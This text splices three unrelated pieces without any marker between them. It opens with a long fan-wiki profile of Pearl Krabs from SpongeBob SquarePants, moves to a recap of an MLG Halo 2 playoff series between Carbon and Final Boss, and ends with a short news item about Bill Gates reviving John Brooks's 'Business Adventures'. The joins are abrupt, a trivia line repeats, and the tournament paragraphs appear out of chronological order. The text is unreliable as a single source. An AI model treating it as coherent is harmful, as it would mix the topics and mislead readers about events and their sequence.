In the book Just Say Please, SpongeBob goes out of his way to help Pearl and even tries to permanently change Mr. Krabs to make Pearl happy. Pearl is awfully nervous about her school's upcoming Parents Day celebration because Mr. Krabs wants to come but dresses sloppily and has bad manners. In order to give her a good Parents Day, SpongeBob spends an entire day giving Mr. Krabs a complete makeover and teaching him manners. When Parents Day finally comes, Pearl is so happy that her father is behaving but later realizes that he is pretending to be someone he's not. Even during the dancing part of the celebration when she gets to hold hands with SpongeBob, she cannot help but feel bad for her dad. "Please change him back!" she says to SpongeBob, wanting her father to just be himself. SpongeBob is shocked but decides that he has to do what is right for Pearl. When he changes Mr. Krabs back to his old self, Pearl thanks him dearly, saying "You are a true friend."
SpongeBob similarly takes drastic means to make Pearl happy in "Whale of a Birthday" when he buys millions of dollars worth of presents for her birthday. In the episode, Mr. Krabs gives SpongeBob his credit card, expecting him to buy one present for Pearl. However, SpongeBob buys everything Pearl wants at the mall—including a boatmobile, a sea-pony, a comb, glitter gloss, a straw hat, shoes, and even Billy Fishkins. There are so many presents that SpongeBob needs to get a delivery truck to bring them all to the Krusty Krab, where Pearl's party is taking place. It arrives just in time, after Pearl thinks her party has been ruined by her father's cheapness. Pearl is ecstatic with SpongeBob's gifts, especially the grand finale: a personal performance from her favorite band Boys Who Cry. It all costs Mr. Krabs a ridiculous amount of money, but SpongeBob sees giving Pearl a good birthday as a bigger priority.
When SpongeBob visits Pearl's dream in "Sleepy Time," she is having a tea party and wants him to join her. When SpongeBob says he actually meant to enter Mr. Krabs' dream instead, Pearl becomes visibly sad but continues to play tea party with her stuffed animals. In "Hooky," SpongeBob's clothes get torn off when he ignores Mr. Krabs' orders not to play on hooks in Fish Hooks Park. He is splattered onto the translucent doors of the Krusty Krab without any clothes and in front of Pearl. To his embarrassment, Pearl obviously likes seeing him like this, since her eyes widen, she giggles at him, and she says "it's SpongeBob NudeyPants!"
Pearl and SpongeBob are shown to have a very close relationship in "Bossy Boots." In the episode, Pearl redesigns the Krusty Krab. SpongeBob loves the new uniforms and teams up with Pearl to think of a new name for the restaurant. Pearl says SpongeBob is "full of style" and "oozes fashion." When they come up with a new name, the Kuddly Krab, they hug and laugh. Their friendliness with each other contrasts with Squidward's angry attitude throughout the entire episode. At the end, Pearl sadly reveals to SpongeBob that she does not like working at the Krusty Krab and wants to get fired. When SpongeBob volunteers to help her get fired, she gives him a bone-crushing hug and says, "Gosh, you'd really do that for me? You're a great pal, SpongeBob. How can I ever thank you?!" When SpongeBob fires her, Pearl gives him a big kiss on his forehead.
The episode "Tunnel of Glove" reveals that Pearl's classmates think SpongeBob is her boyfriend. When Pearl and SpongeBob are at Glove World, SpongeBob inadvertently supports this by saying "Well, I am a boy, and I am her friend." Even Patrick believes it. Pearl tries to deny it so that her friends will stop mocking her, but it becomes difficult to pretend she does not like SpongeBob when the two get paired up on the Tunnel of Glove ride. A clueless Patrick causes all kinds of problems with the ride, sending Pearl and SpongeBob on a dangerous journey through the tunnel. When they finally reach the end, they hug and smile at each other—only for Pearl's classmates to see everything and conclude that they have to be boyfriend and girlfriend.
In "The Slumber Party," SpongeBob betrays Pearl by helping Mr. Krabs spy on her at her slumber party. Pearl's slumber party is completely harmless, but Mr. Krabs is convinced she will destroy the house and enlists SpongeBob's help to make sure she does not. SpongeBob repeatedly uses disguises in an attempt to trick Pearl so that he can join the party. She sees through every one, but in the end, SpongeBob unexpectedly decides to have a personal talk with her. He wins her over by saying, "Can we talk, Pearl? Whale to sponge?" When Pearl allows him to join, he tries to prove that he can be fun, but destroys the Krabs house in the process.
A running gag in many episodes is that Pearl will be reluctant to do something with SpongeBob, only to end up admitting that she had a lot of fun with him. She does this in "The Chaperone," "The Slumber Party," and "Tunnel of Glove." Often, she becomes afraid that SpongeBob's spontaneity will cause trouble, only for his quirkiness to help her in the end.
SpongeBob owns a sweatshirt with Pearl's face printed on the front, as shown in Chuckle and Cringe. In "Mimic Madness," SpongeBob imitates Pearl by morphing into the shape of her head and doing an impression of her voice. His Pearl voice is much deeper than his normal speaking voice. "Pearl Krabs aka Caller #5!" reveals that Pearl's favorite song by SpongeBob is "My Tighty Whiteys."
In Employee of the Month, SpongeBob says "I LOVE whales!" and even says that they are graceful. He alludes to possibly having a "crush" on a whale. In the Adobe Flash game I Love SpongeBob, Patrick puts on a dating game show where SpongeBob must guess who has a valentine for him. Pearl is a contestant, and when the player guesses her correctly, she looks at SpongeBob and gets hearts in her eyes. SpongeBob makes a happy pose and hearts fly out from behind him.
In an interview with Pop My Culture, Pearl's voice actress Lori Alan said that in the "murder, marry, make love" game, Pearl would choose to get in a relationship with SpongeBob.[22] However, it should be noted this is not canon.
"Anything for me little angel Pearl."
—Mr. Krabs, "Tutor Sauce"
Mr. Krabs is Pearl's father. They share a close bond and, although it is not always apparent, love each other very much. In "Culture Shock," Squidward convinces Mr. Krabs to hold a talent show at the Krusty Krab by promising that Pearl will become a star with her name up in lights. He tells Squidward, "you've got a deal, make my little girl a star!" Although Pearl's performance at the show -- in which she gives a cheer routine by jumping around and shaking the entire restaurant -- is less than amazing, Mr. Krabs is blinded by his love for his daughter and says, "Now that's what I call talent!"
In "The Chaperone," Mr. Krabs is shown to care deeply for Pearl's high school career. When Pearl's prom date stands her up, he even volunteers to take her himself. However, he gets SpongeBob to become her new boyfriend instead. When Pearl goes to prom with SpongeBob, he tells her, "Go easy on him, lassie! I can't afford to break in a new fry cook!" When they return home, Mr. Krabs expresses great gratitude for SpongeBob's help with Pearl. After Pearl explains how much fun she had, Mr. Krabs winks at SpongeBob and says, "Good job, laddie."
Because Mr. Krabs is rather old, Pearl often has to take care of him. She makes his breakfast, which usually consists entirely of bran products, every morning. Pearl also has to hand-feed Mr. Krabs his daily pill, which is oversized and even wider than his body.
Mr. Krabs' relationship with his daughter is mainly tainted by one thing: his relentless cheapness, which can cause trouble between them. This is shown in "Squeaky Boots" and "Whale of a Birthday" when Mr. Krabs is revealed to have thrown extremely cheap parties for Pearl every year. He almost ruins her sixteenth birthday by neglecting to get any gifts or entertainment. This saddens Pearl tremendously and she says to him, "You couldn't stop being cheap. Even for me." Luckily, SpongeBob manages to save the day by delivering a pile of fantastic presents he bought with Mr. Krabs' credit card. Despite the enormous bill he receives, Mr. Krabs lets Pearl keep everything, showing that he truly does care for her more than money after all.
Mr. Krabs is also far too overprotective of Pearl, especially when it comes to letting her hang out with friends. He is concerned for both her well-being and what she does to his house and wallet. "The Slumber Party" best exemplifies how excessive he can be when it comes to protecting Pearl. On the night of Pearl's slumber party, Mr. Krabs creates a long list of rules that will keep her and his money safe. The most important one is "no boys allowed," since he fears the seemingly destructive nature of teenage boys. Mr. Krabs sends SpongeBob to spy on Pearl to make sure she does not get into any trouble, but his employee (the only boy at the party) ends up destroying the Krabs residence himself. To make it up to Pearl, he pays for an expensive shindig hosted by Pearl at Goo Lagoon.
While Mr. Krabs was in the navy and loves everything about being a pirate, Pearl does not share his interest in sailing. She does not seem to know much about pirates or what they look like, as shown in "Grandpappy the Pirate" when Pearl mistakes her father's pirate outfit for a funny costume. This is ironic, because whales have been strongly associated with seafaring throughout history whereas crabs have not been nearly as prominent in sailor folklore.
"One Coarse Meal" shows a very strange side of Mr. Krabs' relationship with Pearl; when he discovers that Plankton has developed a fear of whales, Mr. Krabs pays Pearl to scare Plankton once. He then uses a Pearl costume to routinely frighten Plankton and drive him insane. While he is doing this, it is revealed that he can imitate Pearl's voice perfectly (either because he knows exactly how she sounds or because the voice runs in the family) and that he is able to make a lifelike Pearl mask.
Pearl can get embarrassed by her father's miserliness, but deep down, she loves him for who he is and would never want him to change. This is the central theme of the book Just Say Please, where Pearl is nervous about how Mr. Krabs will act at her school's big Parents Day event. Eventually, she realizes how much she cares for her dad and compliments him: "Oh, Daddy! You look coral!"
Pearl always looks out for Mr. Krabs, no matter what. This is shown in the comic Stolen Kelp-Cake when Pearl "steals" the cake that Mr. Krabs and SpongeBob worked hard to make for her birthday. Being a huge whale, she tries to take a small taste and ends up eating the whole thing. She is too embarrassed to explain herself, leading Mr. Krabs and SpongeBob to start investigating who "ruined" Pearl's party. In the end, they find out Pearl ruined her own party, but she explains that she still thought of her dad. She says to Mr. Krabs, "But before I tasted it, I saved the very bestest piece for you, Daddy!" and they hug again.
Mr. Krabs has suspected that SpongeBob wants to date Pearl, but he is not fond of the idea. This is first hinted in "The Chaperone" when SpongeBob and Pearl are about to embrace but he startles them and yells, "Stay away from me precious flower!" It turns out that he meant an actual flower in his yard, not his daughter, but SpongeBob and Pearl thought the latter. The book SpongeBob's Secret Valentine illustrates this perfectly when SpongeBob asks Mr. Krabs for advice about girls. "Stay away from me only daughter, SpongeBob!" yells Mr. Krabs. When SpongeBob explains that he just wants some help with a non-romantic valentine card, Mr. Krabs tries to educate him on his choices. He talks about the ups and downs of sending a valentine to a squirrel vs. to a whale. The picture shows him pointing to a whale diagram instead of a squirrel and smiling.
Squidward is Pearl's honorary uncle, since he is not related to the Krabs family by blood or marriage. Pearl calls him Uncle Squiddy in episodes such as "Bossy Boots" and the book Good Ideas... and Other Disasters. They do not like being seen with each other, as shown in "The Chaperone" when Pearl does not want to go out with him to prom. However, they have quite a lot in common. This is shown in "Welcome to the Bikini Bottom Triangle" when she and Squidward sit side-by-side and read magazines together. In the same episode, Squidward calls her a drama queen. Pearl thinks Squidward is a barnacle and a stick in the sand, since he does not like to have fun like SpongeBob.
They may share interests, but Pearl and Squidward's demeanors are almost polar opposites of each other: Pearl is upbeat and loud, whereas Squidward is usually glum and quiet. In "As Seen on TV," Pearl and Squidward star as Amy and Jen in the Krusty Krab Commercial. Pearl tries her best to act as a hungry paying customer, but Squidward is completely disinterested in being in the commercial. Their performances are a good example of how different the two characters are. Even when Squidward eats a Krabby Patty (revealed to be Squidward's all-time favorite food in "Just One Bite") in the commercial, he looks very unhappy while Pearl is smiling.
In "Whale of a Birthday," Squidward creates a sculpture of Pearl out of Krabby Patties and loves it, calling it a masterpiece. He says of Pearl's portrait: "It takes true genius to transform 400 pounds of raw Krabby Patties into a work of such majesty." Later, he tries to perform a song by Boys Who Cry at Pearl's party but fails miserably. "Drive Thru" shows that Pearl is willing to play pranks on Squidward. She encourages her fellow high schoolers to play a prank on him and describes him as "weird" to them. They use a megaphone while talking to Squidward from the drive-through window.
The Good Ideas book shows that Pearl deeply cares for Squidward. She decides to do something nice for her Uncle Squiddy by getting him a pet worm to cheer him up. Her plan seems to majorly backfire because the worm eats all of the food Squidward has in his house. He says, "Pearl, you are going to have to take this beast back home with you!" and Pearl solemnly responds, "I'm sorry, Squidward." However, the worm takes a liking to his clarinet playing and wins Squidward over. He changes his mind and shows a rare hint of happiness: "This worm is terrific, Pearl. I think I'll name him Mishka!"
In "Whale Watching," Pearl and Squidward's relationship is the main focus. Mr. Krabs lets Squidward babysit Pearl while he is out, saying it will be "just like when you were little." Squidward tries to interest Pearl in the activities that she loved as a kid, like coloring pictures and playing with her Cetaceous Sally doll. However, she is terribly bored and wants to go to a cool teen party instead. She sneaks out, leaving Squidward to chase after her. He tries to win Pearl back by playing music and swinging yo-yos, but Pearl just wants to breach with her new friend Dylan. However, she gets beached on Bikini Atoll, and all of her supposed friends leave her stranded there. Squidward saves her all by himself and brings her back down into the water. Devastated that she was ditched, Pearl starts to cry, but Squidward cheers her up by getting the idea to play a prank on Dylan. They ring his doorbell and leave annoying, hyperactive SpongeBob to surprise him. The episode ends with Pearl and Squidward laughing with each other, proud of their prank.
Much to Squidward's chagrin, his rival Squilliam Fancyson wears clothes that Pearl adores. In The Yellow Avenger, Pearl describes Squilliam as someone who "looked a bit like Squidward, but he was wearing the coolest, most far-out clothes! I've never seen anything like them in Bikini Bottom! You've just got to find out for me where he shops!"
Patrick is a friend of Pearl. He is sad and cries when SpongeBob tells him that, if they spend their lives on the outskirts of Bikini Bottom, there will be "no more Sandy or Pearl or Mr. Krabs" in "Life of Crime." Pearl makes a Krabby Patty for him in "Welcome to the Bikini Bottom Triangle." He says to SpongeBob while eating it, "Pearl doesn't make 'em as good as you do, though."
In "Tunnel of Glove," Patrick accidentally puts Pearl and SpongeBob in grave danger. At the beginning of the episode, when Pearl's classmates tease her about being SpongeBob's girlfriend, Patrick says "I didn't know you had a girlfriend." Later on, Patrick learns that Pearl and SpongeBob are stuck in the Tunnel of Glove. He mistakes a square-shaped control machine for SpongeBob and takes it, causing all kinds of problems in the tunnel such as a power outage. He sits on a lever and sends the ride into "Dangerous Super Fast Mode," scaring SpongeBob and Pearl. He also leans on a button that causes all of the animatronics in the ride to become evil and hunt SpongeBob and Pearl. Finally, he uses the water pressure area as a restroom, causing a waterfall to send SpongeBob and Pearl flying.
In SpongeBob Comics, Mrs. Puff gives Patrick a flower that makes him fall in love with the next person he sees. When he sees Pearl, he tells her "I love you!" Pearl reveals that she likes him, but not in "that way." Patrick also has a crush on the mermaids, who are good friends with Pearl. The mermaids reject Patrick and call him creepy in "Welcome to the Bikini Bottom Triangle," whereas they befriend Pearl because she shares their love of collecting things.
In Dancing with the Star, Pearl is the judge of a dance contest that Patrick enters. Patrick is very nervous about his performance, but the training SpongeBob gave him pays off and he shows Pearl his impeccable dancing skills. Pearl gives him a perfect score of 10 and Patrick wins the contest.
In 2002, SpongeBob crew members hosted a Nick.com chat session and answered questions as SpongeBob and Patrick. When asked why Pearl's species is different from her father's, Patrick answered: "Pearl's a whale?"[27] This shows that Patrick is so clueless that he does not even realize she is a different animal from Mr. Krabs.
"Mr. Krabs gets to eat real food. Just look at his daughter. She's as big as a whale!"
—Plankton to Karen in "The Algae's Always Greener"
Pearl has a very strange relationship with Plankton and Karen. In "The Algae's Always Greener," Plankton uses an invention to switch lives with Mr. Krabs. As a result, he becomes the father of an alternate universe Pearl called Pearl Plankton. With no idea how to raise a child, he gives her one measly dollar as an allowance. She thinks Plankton hates her and says she will run away to find a new daddy. Later in the episode, this version of Pearl calls Mr. Krabs' alternate universe counterpart (who assumes Plankton's life) the "saltiest of all the sea dogs" as an insult, implying that the normal Pearl views Plankton as this.
The episode "One Coarse Meal" disregards Pearl and Plankton's previous interactions. Although they are still familiar with each other in the episode, Plankton is said to have a fear of whales like Pearl since they eat plankton. Plankton's fear is actually irrational and erroneous, since baleen whales eat microorganisms, not toothed sperm whales like Pearl. Sperm whales do, however, eat cephalopods like Squidward. In this episode, Plankton becomes so scared of Pearl that Mr. Krabs uses a Pearl costume to scare him. Plankton even has a fear-induced nightmare about a zombie Pearl chasing and eating him. This fear is retconned in later episodes and is never brought up again.
In "Married to Money," Plankton disguises himself with a robotic stack of dollars called Cashina in a plan to trick Mr. Krabs into marrying his faux alter-ego. In order for his scheme to work, he needs to get Pearl to like Cashina as well. Pearl is strongly against getting a new mother, so when Plankton comes over to dinner as Cashina, she voices her disapproval: "Stop trying to mom at me, lady! I don't need you!" Plankton tries to compliment Pearl's rouge and shoes, but it backfires because her rouge is actually a rash and her shoes are just barnacles. 'Cashina' eventually wins her over by going to Pearl's room and having a funny conversation about experiences Cashina supposedly had in the past.
In the book Scared Silly!, Pearl and Plankton tell a joke about "Count Quackula" together. In SpongeBob ParadePants, Karen tells Plankton to trick Pearl and Mr. Krabs with his "You Will Obey!" song.
Karen does not like Pearl and does not care about her very much. In "The Algae's Always Greener," Plankton tells Karen that Pearl is "as big as a whale" (not realizing that she is actually a sperm whale). Karen dismisses this comment and seems to understand Pearl's species better than her husband. In "One Coarse Meal," Karen does not take Plankton's temporary phobia of Pearl seriously and seems to think he is crazy. This shows that she is not afraid of Pearl.
In "Patnocchio," Pearl gets a stomachache because Patnocchio and Geppetto are inside her. Karen, as Karen the Computer Fairy, is friendly to her and gives her an analgesic: Gush and Flush.
"You've got to help Sandy. She needs to share your air!"
—SpongeBob to Pearl, "Bubble Troubles"
Pearl and Sandy share a mutual friendship because they are both mammals, and Pearl believes that mammals need to stick together no matter what. In "Bubble Troubles," Pearl helps Sandy by giving her air. SpongeBob attaches Sandy to the blowhole on top of Pearl's head, and they share air until the end of the episode when Sandy is back to normal. At the beginning of the episode "Mr. Krabs Takes a Vacation," Sandy and Pearl sit together while Mr. Krabs gets everyone (except Squidward) excited about the story of the Krabs family's vacation. In "Texas," Pearl is at the Krusty Krab and wants Sandy to stay in Bikini Bottom. She cheers for Sandy when she decides to stay in Bikini Bottom.
Pearl is on good terms with Mrs. Puff, which is a good sign for the romantic relationship between Pearl's father and Mrs. Puff. However, Pearl is one of the very few characters who can drive but did not attend Mrs. Puff's Boating School. Instead, Mr. Krabs taught Pearl how to drive a boat himself to save money. This was shown in "Tutor Sauce." An alternate story is presented in the video game The Yellow Avenger, in which SpongeBob gives Pearl a ticket for a free driving lesson at Mrs. Puff's school.
"Party Pooper Pants" shows that Pearl and Mrs. Puff are already familiar with each other, as they talk together. Pearl says "Gee, SpongeBob really knows how to throw a great party!" and Mrs. Puff replies, "Oh yes, everything is quite lovely." There are many episodes where Mrs. Puff and Pearl are seen in the same room together.
"Feral Friends" is the first episode to explicitly show Mrs. Puff romancing Mr. Krabs in the same area as Pearl. Pearl generally seems to be happy about her dad's relationship with Mrs. Puff.
Betsy Krabs
Betsy Krabs, the mother of Mr. Krabs, is Pearl's grandmother. Pearl and Betsy appear on screen together as part of Mr. Krabs' imaginary funeral in "Lame and Fortune." In SpongeBob Comics, it is revealed that Betsy helped raise Pearl. A recreation of a flashback from the comic shows Betsy holding Pearl when she was just a toddler.
Broadway musical
Pearl is one of the main characters in SpongeBob SquarePants: The Broadway Musical, the 2017 musical based on the series. In the 2016 Chicago previews, she was played by Emmy Raver-Lampman. In the actual production, she was played by Jai'len Josey.
In the musical, Mr. Krabs is preparing to make Pearl the manager of the Krusty Krab. However, she is distraught because he never listens to her, especially when she tells him that she would much rather pursue a musical career than run the restaurant. Pearl sings a duet with Mr. Krabs called "Daddy Knows Best," through which she laments being unable to follow her actual dreams. Pearl runs away and gets a chance to sing with her favorite rock band, the Electric Skates. When the Skates prove to be rude to her and Squidward, the town stages a new concert, in which she and Squidward are the lead singers.
David Zinn, the costume designer for the musical, said this of Pearl's character: "She's a cheerleader and she's cool. Also, she's a WHALE and her father is a crab, so we wanted to really exaggerate her height and the ungainliness of being a whale when everyone is so much smaller than you. We gave her really great custom platform sneakers- sort of Spice Girls meets Frankenstein, we designed some custom Electric Skates (her favorite band) merch for her to wear, and gave her a whale-ish pompadour."[28]
Video games
Quotes
"A goofball?"
~The SpongeBob SquarePants Movie
"This dance is so last year!"
~The SpongeBob Movie: Sponge Out of Water
"You really shouldn't have!"
~"Squeaky Boots"
"Give me a K-R-U! Give me a S-T-Y! Krusty Krab!"
~"Culture Shock"
SpongeBob: [crying] " All I wanted was for you to have a good time. "
[crying] " " Pearl: " But I am having a good time! You know, we haven't finished our dance yet. "
" " SpongeBob: [whimpers] " Can I still wear the wig? "
[whimpers] " " Pearl: " Yes, you can still wear the wig. "
" " SpongeBob: [grabs Pearl] "Let's go!"
~"The Chaperone"
"Hello, SpongeBob! You're just in time for the tea party!"
~"Sleepy Time"
"Oh, SpongeBob, you look so adorable. I could just eat you up!"
~"Bossy Boots"
"I'll never wash this flipper again."
~"Bubble Buddy"
Pearl: [as Amy] " Oh, Jen. I've got a real problem. "
[as Amy] " " Squidward: [as Jen] " What's your problem, Amy? "
[as Jen] " " Pearl: [as Amy] "I've got all this money, and I don't know what to do with it!"
~"As Seen on TV"
Pearl: " Good morning, Daddy! I made you breakfast. "
" " Mr. Krabs: " Thank you, sweet pea. I see you got creative with the bran today. "
" " Pearl: " Open up, it's time for the pill! "
" " Mr. Krabs: "Barnacles, I hate the pill."
~"Mid-Life Crustacean"
"Once you taste the secret goodness of a Kelp Shake, you can't have just one."
~"Best Frenemies"
"Daddy, the house is full of burglars!"
~"Le Big Switch"
"Line dancing? Eww! That is so lame. What they need is my way-cool cheer routine."
~"Tentacle-Vision"
Police Officer: " Don't worry, little girl! We're working as fast as we can! "
" " Pearl: " That wasn't me, that was SpongeBob! "
" " Police Officer: "Thank you, little boy!"
~"Tunnel of Glove"
Nancy: " SpongeBob is your boyfriend. "
" " Pearl: " How many times to I have to say it? Eww! Gross! "
" " Nancy: "Oh, don't deny it. You were totally hugging him, which totally means he is totally your boyfriend!"
~"Tunnel of Glove"
"Daddy, there's a submarine on the roof." [sees Sandy biting Mr. Krabs' head] "Oh, you seem kind of busy. Maybe I should come back later."
~"Bubble Troubles"
"I've seen stepmoms in movies, Dad. She'll make me sweep up the cinders, and then she won't let me go to the ball! And then I'll never meet my Prince Charming!"
~"Married to Money"
"I don't care what you think anymore anyway. I'm being true to myself, and--and that's all that matters!"
~"Mall Girl Pearl"
"This picture looks like it was drawn by a brine shrimp?"
~"Bulletin Board"
Pearl: " Oh, Squidward, I'm so sorry I didn't listen to you. "
" " Squidward: "It's okay! Let's just get you outta here."
~"Whale Watching"
"Thanks for trying, SpongeBob. You are a true friend. But you should really think about getting a new tie!"
~Just Say Please
Trivia
While her birthday is unknown, a few facts about her birthday are known. 1. The earliest that Pearl could be born is Summer 1987. [32] 2. Pearl was born several years before January 28, 2016. [33]
2. Pearl was born several years before January 28, 2016. Pearl's line "A goofball?" in The SpongeBob SquarePants Movie ends up becoming a crucially important one. She says it when Mr. Krabs asks what SpongeBob would be defined as. SpongeBob takes Pearl's suggestion of a goofball to heart and reiterates it at two major moments, first when he and Patrick are about to die at Shell City. He says to Patrick, "We did all right for a couple of goofballs." This causes him and Patrick to tear up and sing a bittersweet rendition of the Goofy Goober Song. Later, SpongeBob uses the term in his speech to Plankton about accepting who he is. "And I'm also a goofball. And a wing nut. And a Knucklehead McSpazatron!"
Errors
In some scenes, Pearl's pupils are briefly colored black instead of the usual blue. This can first be seen in "Mermaid Man and Barnacle Boy V" when she is standing behind Sandy and Patrick at the Krusty Krab. In "Evil Spatula," Pearl's photo shows her with blue irises and black pupils like SpongeBob's eyes.
On several promotional images, Pearl's hair elastic is not colored in and blends in with her hair.
Pearl's bottom eyelashes are sometimes missing.
The series between these two teams started in the Winners Bracket Finals. Final Boss came out swinging on Beaver Creek CTF, gaining complete mid-map control and dominating Carbon despite some heroics from Shockwav3 to stop early caps against his team. The Ogres could only be described as “going nuts” during this match, putting up huge numbers and leading their team to a 3-0 victory.
In the second game, Carbon threatened to pull even in the series after getting the lead along with the power-weapons and control of the Center Ring. Final Boss was prepared, however, and used a boost jump to get Walshy from the Bottom Middle of the map all the way to Ring 3 without ever being seen by Carbon. With Walshy in position to rain down fire from above, the rest of FB coordinated a rush that killed their opponents, took control of the Ring and earned them the power weapons. They carried that momentum despite a late charge from Carbon to win the match in nail-biting fashion 50-49.
Anyone who doubted Carbon’s ability to repeat their upset performance from MLG Orlando was silenced when the young squad made an epic comeback to take the Playoff title from Final Boss and bag their second consecutive tournament win.
In the third game, Carbon and Final Boss took turns vying for control of the Green Room set-up during Oddball Lockout as the lead swung back and forth. Finally deciding they were not comfortable with the Green Room any longer, Carbon took their next possession and headed for the Sniper Tower, where they felt they had a better chance to maintain control, despite the opportunity for FB to “playball” it if they were able to put together a string of kills. The strategy worked for Carbon though, as Final Boss seemed unable to break sniper control for long periods of time and could not force the Green Room back onto their opponents. Carbon took Game 3 and began to show some signs of life.
However, Game 4—as well as the WB Finals—would go to Final Boss, as they fought off a late comeback from Carbon to win 5-4 on CTF Midship. While Final Boss was able to jump out to an early lead, the brilliance and solid positioning from Carbon’s Gh057ayame and Shockwav3 constantly harassed them and stopped several flag-runs that allowed Carbon to draw close. The two were playing so well for a while they seemed to be taking Final Boss on 2-on-4 and keeping the game even. In the end, the members of Final Boss were able to simply press their slaying advantage to kill all four Carbon members and run the flag back through Carbine 2 for the win. That meant Carbon would have to defeat Str8 Rippin in the Losers Bracket Finals and come back from a serious deficit if they hoped to win the tournament.
Final Boss had a commanding 4 – 1 series lead over Carbon, but eventually fell 6 – 5 in what was truly one of the most dramatic and bi-polar series in all of MLG history.
After Carbon dispatched Str8 and headed back to the main stage for the Championship match, they approached the stage with the bright eyes and confidence that is usually reserved for the team that won on the Winners Bracket side. While every member of Final Boss expressed their complete confidence in closing the series quickly, that confidence was quite possibly exceeded by the brash enthusiasm of their opponents. Before the series began, Karma told MLG, “In Anaheim we had to come from the Losers Bracket after losing early in the tournament. So when we got to the Finals, we were just happy to have knocked off Str8. This tournament is different. We’re not content with 2nd place. If we have to come from the Losers Bracket, we’re going to destroy whoever is waiting for us in the Finals.”
Judging from the Championship Match, that determination was mirrored in every member of the Carbon squad. Even after they dropped the first game of the Championship series (TS Warlock) under the crushing control of Final Boss, they didn’t give up. Down 4-1 in the series, their coach xXx got the attention of the members of Carbon by reminding them that they were playing for $30,000. Forgetting what had happened up until that point, with the encouragement of their coach the Carbon players refocused and turned the series around.
The “never-say-die” spirit of Carbon cannot be understated, as the team overcame absurd adversity to stage their landmark comeback.
Game 6 was the gametype that Carbon had completely dominated in Orlando and would prove to once again completely dominate in New York. In CTF Warlock, Final Boss looked to be running the first cap of the game back to their base when suddenly the Carbon members took control. They killed the flag carrier, returned the flag and then ran back the Red Flag to completely turn the tide of the match. Behind that momentum they went on to win 5-0 and rattle the top-ranked team.
The next two games would be all Carbon as they cruised through TS Lockout and Oddball Midship. While the members of Final Boss were playing relatively well, they seemed unable to all get clutch at the same time. The Ogres in particular were taking turns carrying the team and then struggling, as if only one of them at a time was allowed to play like the genius pros they truly are. With those two games slipping away, Final Boss was suddenly looking at a very different series. Tied at four games apiece, the Championship was either team’s to take.
The Ogres were finally able to get on the same page in Game 9’s CTF Sanctuary, where their combined slaying kept Carbon struggling for control the entire match. Getting a hold of both snipers, Final Boss ran the first cap in and looked to be in position to control the game entirely. Carbon would not give up however, as they managed to pick up a sloppy cap to tie the score and force sudden death. Eventually, Final Boss was able to use their long-range shooting to assist a rush to the flag from the Carbine spawns and run the blue flag back for a 2-1 victory. That put FB up 5-4 in the series and set up back-to-back Team Slayer games to determine the winner.
It is clear now that Final Boss truly has a rival squad on their hands–and after such an uninterrupted streak of superiority, they can’t be too happy about it.
In TS Midship, Final Boss was able to jump out to an early lead and force Carbon to find a way to come back on the small and fast-paced map. Carbon found their answer in Gh057ayame and Shockwav3, who once again dominated on Midship for their team. They overwhelmed Final Boss at Pink 2, creating control on that side of the map for their team and plied that to generate a lead. Gh057 in particular was huge for his team, as he became what many were calling the “anti-Ogre” over the course of the event. During TS Midship he was able to continually drive the Ogres out of Pink 2 and out-BR them, despite shooting from below. So with the series tied and only one game left to determine the victor, all eyes were on the main stage for TS Beaver Creek.
Although they were able to grab a small lead early in the match, Final Boss was clearly not all on the same page during the final game of the series. After Carbon grabbed a lead, the members of FB couldn’t seem to decide whether they wanted to try to control a base or to press for the kind of mid-map control that won them the first game of the series at CTF Beaver Creek. Often, the Ogres ended up on top of or behind one of the bases completely without cover or help, while Walshy and Saiyan were pressing to generate kills and control of the Creek and the Rocket Arch. The result was disastrous for the first seeded team at the event. Ogre 2 spent crucial moments of the game just sitting on a portal with a shotgun, failing to help his brother or his teammates who were under fire near the Creek. Saiyan and Walshy meanwhile, despite picking up some kills and occasionally managing to steal the OS from Carbon, were easy targets under the organized shooting from the opposition.
Will Final Boss be able to bounce back after their second straight loss to Carbon? We’ll find out at the National Championships, which are guaranteed to be a major milestone in the history of pro gaming.
Carbon had almost perfectly locked down the Blue Base late in the game, and the longer the game went on, the tighter their grip on the control became. Karma in particular came up big for his team when Final Boss threatened to make a comeback. Near the end of the match, Ogre 2 had picked up rockets and headed to the top of the Blue Base. From that position, he could have broken Carbon’s control and allowed Walshy and Saiyan to finally get control of the Creek. Instead, Karma managed to BxR the rocket-carrier and then pick up a killing spree for his team. For the last few minutes of the map, the top, back and Needler Side of Blue Base was completely controlled by Karma, which kept Final Boss from staging a takeover of control and potentially winning the match.
With that win Carbon, succeeded in completing one of the most astounding comebacks in the history of MLG, winning five games before the mighty Final Boss could win just two. It is now clear that a true rivalry is developing between these two teams and that the Championships in Las Vegas are any team’s to win. With $100,000 and the title of 2006 Halo 2 Champions on the line, you can be sure that not only Final Boss and Carbon, but every team with an invite will be preparing to make Vegas an even better event. Congratulations to Carbon for their victory at the Playoffs in New York, but remember not to take it easy before the Championships. You are now the team with the target on your backs, and all the best of the Halo 2 world are coming to Las Vegas to win.
Congratulations to all of the Playoff Prize Winners!
1st – Carbon :: $30,000
2nd – Final Boss :: $20,000
3rd – Str8 Rippin :: $12,500
4th – Xit Woundz :: $7,500
5th – Legendz :: $5,000
6th – Storm Ventures :: $3,750
7th – FBI GamerGraffix :: $3,000
8th – ShooK On3 Gaming :: $2,500
John Brooks's Business Adventures is a collection of the late journalist's New Yorker articles from the 1960s, covering topics from the rise of Xerox and the $350m Edsel disaster to scandals at GE and Texas Gulf Sulphur. Gates wrote in the Wall Street Journal this weekend that the long out-of-print title "remains the best business book I've ever read".
His praise galvanised other readers to get their hands on the book: Abebooks reported this weekend that on Friday and Saturday, Business Adventures by John Brooks was the top search term on its site. "This morning (Sunday), we have no copies left on the site," said spokesman Richard Davies.
Gates's praise – and readers' subsequent interest – also led to the book being brought back into print. "I was very pleased to learn Bill Gates was a fan of my father's book," the late author's son, Alex Brooks, told business news site Quartz . "That's kind of great news so we called my father's agent, and asked them if we could get an ebook ready in a hurry. They got in touch with the publisher Open Road, and Open Road seemed to think it was a good opportunity and jumped right in."
On Amazon.com, Open Road's new edition of the book is currently number five in the retailer's overall books bestseller list, ahead of Gillian Flynn's Gone Girl and Donna Tartt's The Goldfinch, and this summer's smash hit, Thomas Piketty's Capital. The publisher will release a paperback edition in September, after putting out an ebook last week.
